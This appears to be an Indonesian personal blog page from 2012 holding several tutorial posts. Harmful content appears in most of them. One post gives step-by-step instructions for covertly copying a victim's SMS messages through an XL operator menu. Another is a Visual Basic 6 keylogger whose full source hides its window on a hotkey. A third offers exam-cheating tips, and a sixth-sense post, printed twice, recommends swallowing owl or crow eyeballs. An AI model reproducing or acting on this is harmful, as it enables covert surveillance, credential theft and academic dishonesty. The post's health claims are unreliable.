Welcome To PeterJepiMars Blog

Tampilkan postingan dengan label Tutorial. Tampilkan semua postingan
Tampilkan postingan dengan label Tutorial. Tampilkan semua postingan

Kamis, 13 Desember 2012

Cara Melatih Indera ke 6

Sebenarnya indera ke 6 atau dalam bahasa gaulnya di sebut “The Sixth Sense”, adalah kemampuan seseorang untuk menangkap sinyal-sinyal ghaib ataupun hal-hal yang belum terjadi. Sinyal-sinyal ini dapat berupa apa saja, bisa berupa wangsit,bisikan ghaib,penglihatan, atau bahkan pertanda melalui mimpi.
Indera ke 6 sering di identikkan dengan kemampuan untuk melihat makhluk halus, padahal sebenarnya fungsi dari indera ke 6 sendiri jauh melebihi hanya sekedar melihat makhluk halus. Karena kemampuan melihat makhluk halus hanya merupakan bagian / percabangan dari kemampuan indera ke 6 itu sendiri. Seperti intuisi, namun jauh lebih tajam. Apabila intuisi merupakan suatu hasil pengalaman, indera ke 6 tidak mengenal adanya pengalaman.
Indera ke 6, sejatinya adalah kemampuan terpendam dari manusia. Karena pada hakekatnya kita dapat mendayagunakan kemampuan indera ke 6 ini bila saja kita semua mengetahui caranya.
Terlepas dari itu semua, indera ke 6 sangat bisa sekali untuk di kembangkan dan di miliki oleh siapapun. Karena kini telah begitu banyak metode yang di kembangkan agar seseorang dapat menguasai indera ke 6 itu sendiri. Indera ke 6 dapat muncul / bangkit bila seseorang senantiasa mampu mengolah pikiran,jiwa,raga,rasa dan juga karsanya. Hal ini dapat di tempuh dengan cara meditasi / bertapa / tafakur. Kesemua cara itu bisa di pelajari, yang di butuhkan hanyalah ketekunan dan kemauan dan tentu saja kesungguhan hati dalam menjalankannya dengan niat Lillahi ta’ala.
Dengan cara-cara tersebut, akan terjadi suatu “loncatan fungsi indera”, yaitu dari panca indera ke indera ke 6. Loncatan indera ini bisa kita ibaratkan seperti orang tidur, karena tak seorangpun yang dengan kesadaran penuh, bahwa dirinya telah tertidur. Batas kesadarannya sangat tipis sekali.
Perbedaan budaya antara Timur dan Barat membuat munculnya perbedaan persepsi tentang indera ke 6 ini. Budaya barat yang lebih mengedepankan hal-hal yang bersifat rasional berpendapat bahwa indera ke 6 ini lebih di kategorikan sebagai suatu kemampuan yang merupakan salah satu percabangan dari kekuatan pikiran bawah sadar manusia yang belum banyak di gali.
Sedangkan budaya timur, budaya yang tidak asing lagi dengan hal-hal yang bersifat Irasional atau ghaib, membuat indera ke 6 ini mendapatkan kedudukan “istimewa” pada diri seseorang. Merupakan suatu karomah yang luar biasa yang hanya di miliki oleh orang-orang tertentu.
Bagi sedulur-sedulur semua yang mungkin ingin mengaktifkan kemampuan indera ke 6 secara sempurna, berikut ini saya paparkan beberapa tips pengaktifan indera ke 6.
  1. Minum air rajah atau kapsul yang telah di transfer energi positif.
    • sisi positif : dapat membantu mengaktifkan cakra ajna (cakra mata ke 3) dan beberapa organ yang berperan dalam indera ke 6.
    • sisi negatif : sebenarnya cara ini bukan membuka cakra ajna, tapi justru merobek saluran antara cakra ajna dan cakra tenggorokan. Hal ini belum tentu akan membuat seseorang untuk dapat melihat sesuatu yang bersifat ghoib, karena cara ini akan menyebabkan seseorang berhalusinasi, sehingga belum tentu apa yang dilihatnya adalah hal ghoib, melainkan hanya sebatas halusinasi dan imaji belaka.
  2. Menelan biji mata burung hantu atau gagak.
    • sisi positif : dapat membantu mengaktifkan cakra ajna (cakra mata ke 3) dan beberapa organ yang berperan dalam indera ke 6.
    • sisi negatif : sebenarnya cara ini bukan membuka cakra ajna, tapi justru merobek saluran antara cakra ajna dan cakra tenggorokan. Hal ini belum tentu akan membuat seseorang untuk dapat melihat sesuatu yang bersifat ghoib, karena cara ini akan menyebabkan seseorang berhalusinasi, sehingga belum tentu apa yang dilihatnya adalah hal ghoib, melainkan hanya sebatas halusinasi dan imaji belaka.
  3. Meditasi pembukaan cakra ajna
    • sisi positif : Cara ini relatif lebih aman daripada cara 1 dan 2, namun harus tetap dalam pengawasan ahli.
    • sisi negatif: waktu penempuhan untuk mencapai hasil yang relatif ( tergantung dari bakat dan kesungguhan hati pengamalnya).
  4. Di bangkitkan oleh orang yang kompeten (misal : Guru spiritual)
    • sisi positif : hasil yang di peroleh instant, dan langsung dapat di gunakan.
    • sisi negatif : terkadang biaya yang di patok untuk pengaktifan indera ke 6 ini terbilang gila-gilaan. Faktanya bahwa semakin mahal “mahar” yang di minta, justru lebih aman bagi penggunanya.
  5. Dan masih ada cara lainnya yang belum tersebutkan di atas.
Menitik beratkan pada poin nomor 5, maka saya akan memberikan cara yang saya dapatkan dari seorang teman saya, cara ini sangat cocok bagi njenengan-njenengan yang lebih senang dengan aliran hikmah.
Setiap selesai shalat Maghrib dan pada malam hari, baca surat Al Fatihah, Al-ikhlas, Al-Falaq, An-naas, Ayat Kursi dan di lanjutkan dengan membaca amalan ini :
“Walau anna qur’anan suyyirat bihil jibalu au khuti’at bihil ardhu au kullima, bihil mauta bal lillahil amru jami’a. la haula wala quwwata illa billahil ‘aliyyil ‘adziim”
Hal yang terpenting dan yang tersulit dalam melakukan amalan ini adalah bahwa semua bacaan (Al fatihah,Al-Ikhlas,Al-Falaq,An-naas,Ayat Kursi, dan juga amalan “walau anna qur’anan….dst) harus di baca dalam SATU TARIKAN DAN TAHANAN NAFAS. Akan lebih baik lagi apabila di awali dengan puasa biasa( puasa seperti bulan ramadhan) selama 3 hari sebelum melakukan amalan di atas. Dan perlu di ingat bahwa selama masa penyerapan ilmu ini, para sedulur di larang untuk :
  • Berzinah,
  • Melihat, membaca, atau membuat sesuatu yang sifatnya menimbulkan nafsu syahwat / birahi,
  • Minum minuman keras,
  • Dan segala bentuk pelanggaran kaidah keagamaan.
Apabila ingin melihat sesuatu yang bersifat ghaib di awali dengan membaca semua bacaan di atas lalu berdzikir dengan bacaan “Ya Allah Yaa khobir”.
Kebanyakan mereka yang berhasil mengamalkan ilmu-ilmu ghaib adalah mereka yang ketika membaca wirid, hanyut dalam keheningan dzikir mereka. Entah di sadari atau tidak, semua organ tubuh, pikiran,jiwa dan raganya menjadi lebih tenang mengendap ke dalam rasa. Dan pada saat itulah terjadi sesuatu yang di sebut sebagai “loncatan fungsi indera”.
Jadi bukan mereka yang telah menyelesaikan bacaan wirid sekian ribu kali, yang akan berhasil. Tapi sekali lagi, mereka yang bisa mengendapkan pikiran,jiwa dan raga mereka ke dalam keheningan dzikir yang sejatilah yang nantinya akan berhasil menguasai berbagai ilmu ghaib.
Planet Cyber TKJ , Sebenarnya indera ke 6 atau dalam bahasa gaulnya di sebut “The Sixth Sense”, adalah kemampuan seseorang untuk menangkap sinyal-sinyal ghaib ataupun hal-hal yang belum terjadi. Sinyal-sinyal ini dapat berupa apa saja, bisa berupa wangsit,bisikan ghaib,penglihatan, atau bahkan pertanda melalui mimpi.
Indera ke 6 sering di identikkan dengan kemampuan untuk melihat makhluk halus, padahal sebenarnya fungsi dari indera ke 6 sendiri jauh melebihi hanya sekedar melihat makhluk halus. Karena kemampuan melihat makhluk halus hanya merupakan bagian / percabangan dari kemampuan indera ke 6 itu sendiri. Seperti intuisi, namun jauh lebih tajam. Apabila intuisi merupakan suatu hasil pengalaman, indera ke 6 tidak mengenal adanya pengalaman.
Indera ke 6, sejatinya adalah kemampuan terpendam dari manusia. Karena pada hakekatnya kita dapat mendayagunakan kemampuan indera ke 6 ini bila saja kita semua mengetahui caranya.
Terlepas dari itu semua, indera ke 6 sangat bisa sekali untuk di kembangkan dan di miliki oleh siapapun. Karena kini telah begitu banyak metode yang di kembangkan agar seseorang dapat menguasai indera ke 6 itu sendiri. Indera ke 6 dapat muncul / bangkit bila seseorang senantiasa mampu mengolah pikiran,jiwa,raga,rasa dan juga karsanya. Hal ini dapat di tempuh dengan cara meditasi / bertapa / tafakur. Kesemua cara itu bisa di pelajari, yang di butuhkan hanyalah ketekunan dan kemauan dan tentu saja kesungguhan hati dalam menjalankannya dengan niat Lillahi ta’ala.
Dengan cara-cara tersebut, akan terjadi suatu “loncatan fungsi indera”, yaitu dari panca indera ke indera ke 6. Loncatan indera ini bisa kita ibaratkan seperti orang tidur, karena tak seorangpun yang dengan kesadaran penuh, bahwa dirinya telah tertidur. Batas kesadarannya sangat tipis sekali.
Perbedaan budaya antara Timur dan Barat membuat munculnya perbedaan persepsi tentang indera ke 6 ini. Budaya barat yang lebih mengedepankan hal-hal yang bersifat rasional berpendapat bahwa indera ke 6 ini lebih di kategorikan sebagai suatu kemampuan yang merupakan salah satu percabangan dari kekuatan pikiran bawah sadar manusia yang belum banyak di gali.
Sedangkan budaya timur, budaya yang tidak asing lagi dengan hal-hal yang bersifat Irasional atau ghaib, membuat indera ke 6 ini mendapatkan kedudukan “istimewa” pada diri seseorang. Merupakan suatu karomah yang luar biasa yang hanya di miliki oleh orang-orang tertentu.
Bagi sedulur-sedulur semua yang mungkin ingin mengaktifkan kemampuan indera ke 6 secara sempurna, berikut ini saya paparkan beberapa tips pengaktifan indera ke 6.
  1. Minum air rajah atau kapsul yang telah di transfer energi positif.
    • sisi positif : dapat membantu mengaktifkan cakra ajna (cakra mata ke 3) dan beberapa organ yang berperan dalam indera ke 6.
    • sisi negatif : sebenarnya cara ini bukan membuka cakra ajna, tapi justru merobek saluran antara cakra ajna dan cakra tenggorokan. Hal ini belum tentu akan membuat seseorang untuk dapat melihat sesuatu yang bersifat ghoib, karena cara ini akan menyebabkan seseorang berhalusinasi, sehingga belum tentu apa yang dilihatnya adalah hal ghoib, melainkan hanya sebatas halusinasi dan imaji belaka.
  2. Menelan biji mata burung hantu atau gagak.
    • sisi positif : dapat membantu mengaktifkan cakra ajna (cakra mata ke 3) dan beberapa organ yang berperan dalam indera ke 6.
    • sisi negatif : sebenarnya cara ini bukan membuka cakra ajna, tapi justru merobek saluran antara cakra ajna dan cakra tenggorokan. Hal ini belum tentu akan membuat seseorang untuk dapat melihat sesuatu yang bersifat ghoib, karena cara ini akan menyebabkan seseorang berhalusinasi, sehingga belum tentu apa yang dilihatnya adalah hal ghoib, melainkan hanya sebatas halusinasi dan imaji belaka.
  3. Meditasi pembukaan cakra ajna
    • sisi positif : Cara ini relatif lebih aman daripada cara 1 dan 2, namun harus tetap dalam pengawasan ahli.
    • sisi negatif: waktu penempuhan untuk mencapai hasil yang relatif ( tergantung dari bakat dan kesungguhan hati pengamalnya).
  4. Di bangkitkan oleh orang yang kompeten (misal : Guru spiritual)
    • sisi positif : hasil yang di peroleh instant, dan langsung dapat di gunakan.
    • sisi negatif : terkadang biaya yang di patok untuk pengaktifan indera ke 6 ini terbilang gila-gilaan. Faktanya bahwa semakin mahal “mahar” yang di minta, justru lebih aman bagi penggunanya.
  5. Dan masih ada cara lainnya yang belum tersebutkan di atas.
Menitik beratkan pada poin nomor 5, maka saya akan memberikan cara yang saya dapatkan dari seorang teman saya, cara ini sangat cocok bagi njenengan-njenengan yang lebih senang dengan aliran hikmah.
Setiap selesai shalat Maghrib dan pada malam hari, baca surat Al Fatihah, Al-ikhlas, Al-Falaq, An-naas, Ayat Kursi dan di lanjutkan dengan membaca amalan ini :
“Walau anna qur’anan suyyirat bihil jibalu au khuti’at bihil ardhu au kullima, bihil mauta bal lillahil amru jami’a. la haula wala quwwata illa billahil ‘aliyyil ‘adziim”
Hal yang terpenting dan yang tersulit dalam melakukan amalan ini adalah bahwa semua bacaan (Al fatihah,Al-Ikhlas,Al-Falaq,An-naas,Ayat Kursi, dan juga amalan “walau anna qur’anan….dst) harus di baca dalam SATU TARIKAN DAN TAHANAN NAFAS. Akan lebih baik lagi apabila di awali dengan puasa biasa( puasa seperti bulan ramadhan) selama 3 hari sebelum melakukan amalan di atas. Dan perlu di ingat bahwa selama masa penyerapan ilmu ini, para sedulur di larang untuk :
  • Berzinah,
  • Melihat, membaca, atau membuat sesuatu yang sifatnya menimbulkan nafsu syahwat / birahi,
  • Minum minuman keras,
  • Dan segala bentuk pelanggaran kaidah keagamaan.
Apabila ingin melihat sesuatu yang bersifat ghaib di awali dengan membaca semua bacaan di atas lalu berdzikir dengan bacaan “Ya Allah Yaa khobir”.
Kebanyakan mereka yang berhasil mengamalkan ilmu-ilmu ghaib adalah mereka yang ketika membaca wirid, hanyut dalam keheningan dzikir mereka. Entah di sadari atau tidak, semua organ tubuh, pikiran,jiwa dan raganya menjadi lebih tenang mengendap ke dalam rasa. Dan pada saat itulah terjadi sesuatu yang di sebut sebagai “loncatan fungsi indera”.
Jadi bukan mereka yang telah menyelesaikan bacaan wirid sekian ribu kali, yang akan berhasil. Tapi sekali lagi, mereka yang bisa mengendapkan pikiran,jiwa dan raga mereka ke dalam keheningan dzikir yang sejatilah yang nantinya akan berhasil menguasai berbagai ilmu ghaib.

Jumat, 04 Mei 2012

Cara Sembunyikan Widget Sidebar "Solusi Percepat Loading Halaman Posting "

cara menyembunyikan widget sidebar / footer pada halaman post atau post page. Tips mempercepat loading halaman blog sudah banyak di tulis oleh kalangan blogger Dan salah satu faktor yang penting dalam nge-blog adalah loading pada halaman blog,



Loading pada halaman blog ada dua kategori yaitu :

  1. Loading pada Home Page atau Halaman Utama.
  2. Loading pada Post Page atau Halaman Posting [halaman dimana kita membaca artikel secara lengkap].

Pada umumnya halaman home page berisi beberapa posting dan widget sidebar / footer dan halaman post page hanya berisi satu posting [read full] yang juga menampilkan semua widget seperti pada halaman home page.

Sidebar / footer yang tidak terlalu penting, kita sembunyikan atau tidak di tampilkan pada halaman post page, namun widget tersebut tetap akan tampil pada halaman home page adalah merupakan solusi untuk mempercepat loading pada halaman tertentu.

Berikut adalah langkah-langkahnya untuk menampilkan widget sidebar atau footer hanya pada halaman home page.
  • Login ke blogger.com
  • Pilih Design
  • Pilih Edit HTML
  • Download Full Template, untuk jaga-jaga bila terjadi kesalahan
  • Beri tanda pada kotak Expand Widget Template
Kemudian cari id atau judul widget yang ingin di tampilkan hanya pada home page.
Cari code seperti di bawah ini :












  • Save dan lihat perubahannya ketika Anda membuka halaman Post Page atau Home Page.
  • Selesai.

Senin, 30 April 2012

Macam-macam Kode Error pada Internet dan Pengertiannya

Minggu, 29 April 2012

Sadap SMS melalui Hape Biasa

Sekarang sudah ada cara sadap/mengalihkan panggilan, sms, telepon, pembicaraan private bahkan BBM juga bisa disadap. Kalau kamu ingin tahu cara menyadap dengan cara mudah, kamu cukup punya handphone biasa saja. Dengan handphone biasa ini, kamu dapat menyadap sms orang lain tanpa aplikasi apa pun yang diinstal. Langsung saja, saya berbagi trik sadap sms dengan menggunakan trik operator selular.
Sadap SMS di Handphone Biasa

Bagi kamu para pengguna operator selular XL, kamu sangat beruntung. Karena dengan menggunakan operator ini, kamu dapat melakukan penyadapan secara sederhana. Dan kamu dapat membaca petunjuk berikut ini.
1. Siapkan gadget orang yang ingin kamu sadap. ( Agak dirayu dikit untuk mendapatkan gadgetnya )
2. Ketik *123*571# di gadget korban, lalu kamu tekan CALL.
3. Setelah itu kamu akan mendapat beberapa pilihan, jadi kamu pilih no 2 ( Layanan Lain )
4. Dari pilihan tadi, akan muncul 2 pilihan baru, yaitu :
  • AUTO FORWARD => Menerima SMS orang lain langsung tanpa masuk ke no HP korban.
  • AUTO COPY => Menerima SMS orang lain yang masuk ke no HP korban dan juga ke no HP kamu sendiri.
5. Setelah itu, kamu pilih yang AUTO COPY, agar kamu dapat mengetahui lebih detail lagi tanpa ketahuan. Dan kemudian, kamu tungggu konfirmasi dari operator XL untuk pemotongan biaya ( 1000/ bulan )
6. Lalu kamu mengirim sms dari HP korban dengan format : COPY ON lalu kirim ke no HP kamu. Maka proses sadap SMS sudah berhasil.
OK, Selamat mencoba.
http://life.xl.co.id/layanan/index.do 

Sumber : http://blog.cyber4rt.com/2012/04/sadap-sms-di-handphone-biasa.html

Jumat, 27 April 2012

Mengatasi Blog Anti Copy Paste / Klik Kanan

Sabtu, 21 April 2012

Tips Jitu Mencontek Saat Ujian



sebelum kita ulas mengenai cara-cara mencontek yang baik dan benar, alangkah baiknya kalo kita telaah dulu jenis-jenis mencontek. Menurut jenisnya, tipe mencontek itu ada 3:

A. Contek diam-diam
Dalam kasus ini, pelaku pencontek cenderung mencontek kerjaan temennya yang pinter. Tapi sering juga karena kepepet, temen yang bodoh pun tetep dicontekin. Dalam contek tipe, korban yang diconteki (biasanya) tidak sadar telah dicontek…


B. Kerja sama
Contek jenis cenderung lebih menyenangkan. Karena dilakukan oleh 2 kepala (atau lebih), ujian jadi (terasa) lebih ringan…


C. Solo career
Contek jenis ini biasanya lebih menjanjikan, tapi kalo resiko kalo ketauan lebih bahaya, karena si pelaku contek bakal bunya barang bukti mencontek…hahaha!



Nah, sekarang mari kita ulas tips-tips mencontek yang baik dan benar….
1. Behave. Be calm. Be confident
Kalo kamu mau mencontek, usahakan gesture tubuh kamu jangan terlalu mencolok. Karena kalo kamu-nya udah salah tingkah duluan, misal: keringet dingin, dijamin si pengawas ujian bakal curiga.


2. Hindari eye-contact dengan pengawas ujian
Saya kasih tau ya, peserta ujian yang sering terlibat eye-contact dengan pengawas cenderung langsung dinobatkan sebagai calon pencontek. Jadinya sebisa mungkin hindari eye-contact. Cara yang paling baik adalah pura-pura ngeliat jam dinding di depan ruangan, sambil sesekali melirik si pengawas ujian. Sebisa mungkin gesture-nya se-natural mungkin.Terus, kalo kamu terlibat eye-contact dengan sang pengawas, kamu ga usah panik. Cara yang paling ampuh adalah langsung berpura-pura mikir, bisa dengan sambil bergumam & sok-sok mikirin teorema/dalil dari mata kuliah yang bersangkutan….hahaha!


3. Hindari posisi duduk miring
Biasanya ini terjadi kalo kamu mau mencontek temen kamu yang duduknya di belakang kamu. Posisi duduk miring emang memudahkan manuver mencontek ke belakang, tapi sayangnya posisi seperti ini sangat mencurigakan. Jadi lebih baik dihindari.



4. Jangan bawa alat tulis komplit
Kalo perlu, kamu mending ga usah bawa pulpen. Logikanya begini, semakin banyak barang yang kamu ngga bawa, berarti semakin banyak juga kesempatan kamu minjem barang ke temen, berarti semakin banyak juga peluang untuk mencontek temen yang kita pinjem barangnya….hahahaha! Saat pinjem barang, usahakan mata ga usah melihat barang yang kita pinjem, tapi fokus pada kertas jawaban target yang akan dicontek.


5. Jangan pernah buat contekan di kartu ujian
Sumpah, ini cara yang paling dongo’ banget! Saya suka mau teriak kalo nemuin kebetan mahasiswa di kartu ujiannya….! Agh!


6. Buat kebetan di kertas kecil
Jangan pernah serakah dalam membuat kebetan! Kalo memang sifat ujiannya close book, ya buat kebetannya di kertas kecil aja. Jangan buat kebetan di kertas A4!

7. Mencontek saat di awal
Kerjakanlah soal yang paling susah dulu! Ini wajib! Karena kalo ujiannya baru dimulai, cenderung pengawas ujian masih ngga fokus, jadinya chance untuk mencontek juga lebih besar…. Coba bandingin dengan momen-momen akhir ujian. Biasanya mahasiswa udah keburu panik kalo waktu ujiannya tiggal dikit. Jadinya ngga bisa mencontek dengan pikiran jernih….hahahaha!

8. Ke toilet
Ini adalah senjata pamungkas dalam urusan contek-mencontek (khususnya kalo selama ujian, peserta diperbolehkan untuk ke toilet). Sebelum pergi ke toilet, alangkah baiknya kamu hapalin dulu soal-soal apa aja yang ngga bisa kamu jawab, baru deh ntar di dalam toilet, kamu bebas membaca kertas kebetan kamu sepuasnya! Haahahaha!

Kamis, 19 April 2012

Tutorial Membuat Keylogger (Bukan Untuk Kejahatan)

Sesuai dengan judul di atas, kali ini saya akan memberikan sedikit tutorial cara membuat key logger sederhana dengan Visual Basic. JANGAN DIGUNAKAN BERLEBIHAN
1. Siapkan Visual Basic , Disini saya menggunakan Visual Basic 6.0
2. Buka program Visual Basic
3. New Project Standard EXE




4. Tambahkan 1 buah TextBox, 4 buah CommandButton, 2 Timer, dan 6 buah Label (Lihat Gambar)
 


5. Copas seluruh Code di bawah ini :

Private Declare Function GetAsyncKeyState Lib “user32″ (ByVal vKey As Long) As Integer
Private Declare Function GetForegroundWindow Lib “user32″ () As Long
Private Declare Function GetWindowText Lib “user32″ Alias “GetWindowTextA” (ByVal hWnd As Long, ByVal sWndTitle As String, ByVal cLen As Long) As Long
Private hForegroundWnd As Long
Private backs As BooleanPrivate Sub Command1_Click()
Timer1.Enabled = True
End SubPrivate Sub Command2_Click()
Timer1.Enabled = False
End SubPrivate Sub Command3_Click()
backs = True
End SubPrivate Sub Command4_Click()
backs = False
End SubPrivate Sub Form_Load()
backs = True
End Sub

Private Sub Label1_Click()

End Sub

Private Sub Label4_Click()

End Sub

Private Sub Label6_Click()
Timer1.Enabled = True
End Sub

Private Sub Label7_Click()
Timer1.Enabled = False
End Sub

Private Sub Label8_Click()
backs = True
End Sub

Private Sub Label9_Click()
backs = False
End Sub

Private Sub Text1_Change()
Text1.SelStart = 0
Text1.SelLength = Len(Text1.Text)
End Sub

Private Sub Timer1_Timer()

Dim x, x2, i, t As Integer
Dim win As Long
Dim Title As String * 1000

win = GetForegroundWindow()
If (win = hForegroundWnd) Then
GoTo Keylogger
Else
hForegroundWnd = GetForegroundWindow()
Title = “”

GetWindowText hForegroundWnd, Title, 1000

Select Case Asc(Title)

Case 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95
Text1.Text = Text1.Text & vbCrLf & vbCrLf & “[ " & Title
Text1.Text = Text1.Text & " ]” & vbCrLf
End Select

End If

Exit Sub

Keylogger:

For i = 65 To 90

x = GetAsyncKeyState(i)
x2 = GetAsyncKeyState(16)

If x = -32767 Then

If x2 = -32768 Then
Text1.Text = Text1.Text & Chr(i)
Else: Text1.Text = Text1.Text & Chr(i + 32)
End If

End If

Next

For i = 8 To 222

If i = 65 Then i = 91

x = GetAsyncKeyState(i)
x2 = GetAsyncKeyState(16)

If x = -32767 Then

Case 48
Text1.Text = Text1.Text & IIf(x2 = -32768, “)”, “0″)
Case 49
Text1.Text = Text1.Text & IIf(x2 = -32768, “!”, “1″)
Case 50
Text1.Text = Text1.Text & IIf(x2 = -32768, “@”, “2″)
Case 51
Text1.Text = Text1.Text & IIf(x2 = -32768, “#”, “3″)
Case 52
Text1.Text = Text1.Text & IIf(x2 = -32768, “$”, “4″)
Case 53
Text1.Text = Text1.Text & IIf(x2 = -32768, “%”, “5″)
Case 54
Text1.Text = Text1.Text & IIf(x2 = -32768, “^”, “6″)
Case 55
Text1.Text = Text1.Text & IIf(x2 = -32768, “&”, “7″)
Case 56
Text1.Text = Text1.Text & IIf(x2 = -32768, “*”, “8″)
Case 57
Text1.Text = Text1.Text & IIf(x2 = -32768, “(“, “9″)

Case 112: Text1.Text = Text1.Text & ” F1 “
Case 113: Text1.Text = Text1.Text & ” F2 “
Case 114: Text1.Text = Text1.Text & ” F3 “
Case 115: Text1.Text = Text1.Text & ” F4 “
Case 116: Text1.Text = Text1.Text & ” F5 “
Case 117: Text1.Text = Text1.Text & ” F6 “
Case 118: Text1.Text = Text1.Text & ” F7 “
Case 119: Text1.Text = Text1.Text & ” F8 “
Case 120: Text1.Text = Text1.Text & ” F9 “
Case 121: Text1.Text = Text1.Text & ” F10 “
Case 122: Text1.Text = Text1.Text & ” F11 “
Case 123: Text1.Text = Text1.Text & ” F12 “

Case 8: If backs = True Then If Len(Text1.Text) > 0 Then Text1.Text = Mid(Text1.Text, 1, Len(Text1.Text) – 1)
Case 9: Text1.Text = Text1.Text & ” [ Tab ] “
Case 13: Text1.Text = Text1.Text & vbCrLf
Case 17: Text1.Text = Text1.Text & ” [ Ctrl ]“
Case 18: Text1.Text = Text1.Text & ” [ Alt ] “
Case 19: Text1.Text = Text1.Text & ” [ Pause ] “
Case 20: Text1.Text = Text1.Text & ” [ Capslock ] “
Case 27: Text1.Text = Text1.Text & ” [ Esc ] “
Case 32: Text1.Text = Text1.Text & ” “
Case 33: Text1.Text = Text1.Text & ” [ PageUp ] “
Case 34: Text1.Text = Text1.Text & ” [ PageDown ] “
Case 35: Text1.Text = Text1.Text & ” [ End ] “
Case 36: Text1.Text = Text1.Text & ” [ Home ] “
Case 37: Text1.Text = Text1.Text & ” [ Left ] “
Case 38: Text1.Text = Text1.Text & ” [ Up ] “
Case 39: Text1.Text = Text1.Text & ” [ Right ] “
Case 40: Text1.Text = Text1.Text & ” [ Down ] “
Case 41: Text1.Text = Text1.Text & ” [ Select ] “
Case 44: Text1.Text = Text1.Text & ” [ PrintScreen ] “
Case 45: Text1.Text = Text1.Text & ” [ Insert ] “
Case 46: Text1.Text = Text1.Text & ” [ Del ] “
Case 47: Text1.Text = Text1.Text & ” [ Help ] “
Case 91, 92: Text1.Text = Text1.Text & ” [ Windows ] “

End Select

End If

Next

End Sub

Private Sub Timer2_Timer()
Dim a, b, x As Long
a = GetAsyncKeyState(120)
b = GetAsyncKeyState(121)
x = GetAsyncKeyState(16)
If a = -32767 And x = -32768 Then Me.Hide
If b = -32767 And x = -32768 Then Me.Show
End Sub

6. Jalankan dengan menekan tombol F5
Live demo bisa di download disini :




JANGAN DIGUNAKAN BERLEBIHAN
RESIKO DITANGGUNG SENDIRI

Headline News

Jumlah Pengunjung

Diberdayakan oleh Blogger.

Radio Prambors

Followers

Idhin

JS CONNECT

Fans Page

Profile



My.Google My.Facebook My.Twitter

Page Rank

Link My Friend